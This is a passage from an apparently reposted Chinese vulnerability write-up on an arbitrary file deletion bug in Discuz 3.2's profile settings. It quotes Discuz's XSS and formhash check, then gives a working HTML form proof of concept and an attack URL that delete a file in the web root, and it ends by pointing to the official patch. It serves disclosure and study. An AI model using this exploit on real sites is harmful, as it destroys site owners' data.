为什么这里要替换掉formhash呢?一开始不太清楚,网页会报错,如下看到了有一个xss验证蛮去找一下这个文件private function _xss_check() { static $check = array('"', '>', '<', ''', '(', ')', 'CONTENT-TRANSFER-ENCODING'); if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) { system_error('request_tainting'); } if($_SERVER['REQUEST_METHOD'] == 'GET' ) { $temp = $_SERVER['REQUEST_URI']; } elseif(empty ($_GET['formhash'])) { $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input'); } else { $temp = ''; } if(!empty($temp)) { $temp = strtoupper(urldecode(urldecode($temp))); foreach ($check as $str) { if(strpos($temp, $str) !== false) { system_error('request_tainting'); } } } return true; }12345678910111213141516171819202122232425262728发现了如下代码if(isset($_GET[‘formhash’]) && $_GET[‘formhash’] !== formhash()){system_error(‘request_tainting’);}这里就是对formhash做判断的地方了,当然判断地方不止一个。
这里formhash应该是每次登陆后随机生成的,具体源码没有去找他,但尝试两次登陆后找到的formhash不一样0x3 构造poc2删除zsdlove.txt文件test->poc<form action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove" method="POST" enctype="multipart/form-data"><input type="file" name="birthprovince" id="file" /> <br><br><input type="text" name="formhash" value="3e42ef6f"/><br><br><input type="text" name="profilesubmit" value="1"/><br><br><input type="submit" value="Submit" /></from>123456789将该poc保存为html文件打开随便上传一张图片,注意其中的formhash也要替换在浏览器中访问localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove1在看看网站根目录文件已经被删除了0x4 修复方案:官方已经发布补丁,请尽快修复
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)